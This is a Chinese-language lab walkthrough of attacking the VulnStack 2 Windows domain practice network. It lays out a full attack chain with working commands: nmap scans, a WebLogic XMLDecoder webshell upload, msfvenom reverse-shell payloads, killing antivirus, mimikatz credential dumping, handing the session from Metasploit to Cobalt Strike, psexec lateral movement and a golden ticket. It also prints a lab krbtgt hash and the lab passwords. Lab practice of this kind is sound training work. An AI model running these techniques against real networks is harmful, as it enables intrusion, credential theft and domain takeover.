VulnStack Pass-2
攻击机 kali:192.168.3.10
web:192.168.3.10 10.10.10.80 (winserver 2008)
dc:10.10.10.10 (winserver 2012)
pc: 10.10.10.201 (win7)
搭建请先看一眼最后的避坑总结!节约时间!
信息搜集
首先利用tmux布置为经典的三界面,方便操作
1 | nmap -sn 192.168.3.0/24 |
c段扫描,发现有以下存活主机,根据增加的顺序来判断出3.29是我们的web端机器。
1 | nmap -sT -min-rate 10000 -p- 192.168.3.29 #扫描目标端口 |
1 | sudo nmap -sT -sC -sV -O -p80,135,139,445,1433,3389,7001,49152,49153,49154,49155,49156,60966 192.168.3.29 |
扫描结果如下3张图所示
可以得到信息:
1 | 大概率为windows7系统,且存在de1ay.com |
1 | sudo nmap -sT --script=vuln -p80,135,139,445,1433,3389,7001,49152,49153,49154,49155,49156,60966 192.168.3.29#利用内置漏洞脚本扫描 |
扫描结果如下:
存在永恒之蓝和cev-2012-0002漏洞
cve-2012-0002是用来打蓝屏的,不适用我们打靶,所以考虑永恒之蓝进行攻击
445永恒之蓝尝试
1 | serach ms17-010 |
攻击失败,猜测应该是被360拦截了
80端口探索
先访问一下80端口,发现界面是空,查看源代码也为空。
尝试进行目录爆破,没有结果,添加-x指定后缀扫描,仍然没有结果,先放在一旁
7001 wbelogic尝试
其实当我们看见7001的时候就应该敏感起来,直接想到是weblogic的服务。
脚本小子少不了用大佬的工具,直接试试
https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
打开7001界面,很明显确定是weblogic界面
用liqun进行漏洞检测,发现存在xmldecoder,之前漏洞之前我写过blog,大概就是利用xml文件进行的攻击。
将哥斯拉的jsp马传上去即可
提权
利用哥斯拉的msf联动,反弹shell到msf中
msf连接成功
1 | use exploit/multi/handler |
尝试进行提权和进程迁移都失败,应该是我们木马是java写的payload,并且msf中采用的也是java的payload. (这里具体原因不太会分析,后面了解了再来更新)
我们尝试生成一个msf的木马,重新上线一个session
记得sudo打开msf 否则木马生成失败
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.10 LPORT=4444 -f exe -o 1.exe |
上传到目标机器执行
1 | C:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/ |
结果被360杀了。。
免杀目前没有了解,暂时先手动点击上线,后面再搞免杀。
点击上线
ps查看进程,进行进程迁移提权
迁移到3176 csrss.exe进程中
提权成功!
尝试关闭杀软
1 | ps | grep 360 |
读取本地密码
1 | load kiwi |
msf联动cs
msf操作
首先,backgroud 会话
1 | background |
调用 payload_inject 模块
1 | use exploit/windows/local/payload_inject |
设置 HTTPS Payload
1 | set payload windows/meterpreter/reverse_http |
设置 lhost 和 lport 为 Cobalt Strike 的监听 IP 与端口
1 | set lhost 192.168.3.10 #注意是cs服务端ip |
设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。
1 | set DisablePayloadHandler True |
(可选)设置 PrependMigrate 为 True,此选项让 Metasploit Framework 前置 shellcode 在另一个进程中运行 payload stager,如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。
1 | set PrependMigrate True |
设置要传递的会话 session,如果不知道自己的 session id,可以通过 sessions -l 查看,我这里待传递的 session id 为 7
cs设置
在kali启动cs服务端
mac本机启动客户端
CS创建监听
成功上线cs
域内信息搜集
因为重启了一下机器,之前的权限没了。先通过cs自带的脚本进行提权。提权到system后才方便后续操作
使用ladon插件进行部分信息搜集,查看本机内外网卡,发现10.10.10.0/24网段
主机探测,探测10.10.10.0/24网段
发现主机和名为dc的机器(这名字大概率为域控)
1 | shell net group "domain computers" /domain #查看域内机器 |
可以看见我们域内机器除了域控外总共有2台,说明之前存活检测还有一台机器没能检测出,ping一下,找出他的ip是201
1 | shell net group "domain administrators" /domain #查看域管理员 |
拿域控
密码抓取
这里抓到了域管理员的密码,应该是我之前配环境尝试了在机器上登录,所以能抓到?看了网上师傅们写的好像机器自身就有admin的密码。
这里先尝试psexec进行直接攻击,psecex需要目标445端口开放,进行端口探测,发现445端口均开放状态。
配置好监听
然后上线
10.10.10.201机器攻击手法也一样,使用psexec即可
拓扑如下!
权限维持
利用黄金票据做权限维持
cs选取pc上执行runmimikatz
1 | sid号为:S-1-5-21-2756371121-2868759905-3853650604 #图中的最后-500不要 |
并且导出krbtgt用户的ntml hash值
1 | aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb |
在任意一个域内普通用户机器上执行
避坑总结
1.手动开启weblogc脚本,但是7001无法访问?
不采用管理员启动,直接采用普通用户打开。
2.提升system了还是不能用一些查看域的命令?重启全部机器,然后解决
3.总感觉我的域环境有点问题
我在没做任何操作的情况下,不是域内admin用户居然也能直接dir 域控。不知道是不是配置有问题
4.登录web时候先还原快照到v1.3,然后用本地用户de1ay 1qaz@WSX登录